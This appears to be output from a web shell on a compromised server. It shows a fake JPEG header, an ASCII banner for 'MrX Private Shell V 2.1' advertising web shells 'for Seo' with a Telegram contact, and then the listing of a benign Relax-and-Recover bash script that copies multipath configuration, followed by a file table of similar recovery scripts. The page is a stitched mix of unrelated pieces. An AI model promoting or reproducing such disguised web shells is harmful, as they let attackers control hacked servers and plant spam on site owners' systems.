����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# multipath configuration used in recovery must be saved to TARGET_FS_ROOT if they
# don't exists. This should only happen if you migrate from a non-multipath system to
# a multipath one.
# This phase must be done before rebuilding initramfs.
# Nothing to do if multipath is not used:
multipath -d >/dev/null || return 0
if [ ! -f $TARGET_FS_ROOT/etc/multipath.conf ] ; then
LogPrint "/etc/multipath.conf not available in target system, creating it..."
if [ -f /etc/multipath.conf ] ; then
cp /etc/multipath.conf $TARGET_FS_ROOT/etc/multipath.conf
fi
fi
[ ! -d $TARGET_FS_ROOT/etc/multipath ] && mkdir -p $TARGET_FS_ROOT/etc/multipath
# Always copy multipath bindings file to the $TARGET_FS_ROOT. In case of migration to different multipath diks (migration)
# /etc/multipath/bindings has been updated in the recovery image and result must ALWAYS be copied to the TARGET_FS_ROOT
# before mkinitrd operation.
if [ -f /etc/multipath/bindings ] ; then
if cp /etc/multipath/bindings $TARGET_FS_ROOT/etc/multipath/bindings ; then
LogPrint "Copied /etc/multipath/bindings to target system $TARGET_FS_ROOT"
else
LogPrint "Failed to copy /etc/multipath/bindings to target system"
fi
fi
# Cleaning /etc/multipath/wwids file and update it with new wwids.
if mountpoint $TARGET_FS_ROOT/proc ; then
chroot $TARGET_FS_ROOT /bin/bash -c 'PATH=/sbin:/usr/sbin:/usr/bin:/bin multipath -W' || LogPrint "Failed to reset multipath wwids on target system"
else
LogPrint "Cannot update multipath wwids ($TARGET_FS_ROOT/proc not mounted)"
fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 230_remove_lvmdevices.sh | File | 1019 B | 0644 |
|
| 240_reassign_luks_keyfiles.sh | File | 2.45 KB | 0644 |
|
| 250_migrate_disk_devices_layout.sh | File | 4.92 KB | 0644 |
|
| 250_migrate_lun_wwid.sh | File | 3.54 KB | 0644 |
|
| 260_rename_diskbyid.sh | File | 7.39 KB | 0644 |
|
| 280_migrate_uuid_tags.sh | File | 3.4 KB | 0644 |
|
| 300_create_mac_mapping.sh | File | 846 B | 0644 |
|
| 310_migrate_udev_rules.sh | File | 2.78 KB | 0644 |
|
| 320_migrate_network_configuration_files.sh | File | 33.93 KB | 0644 |
|
| 430_create_multipath_config.sh | File | 1.55 KB | 0644 |
|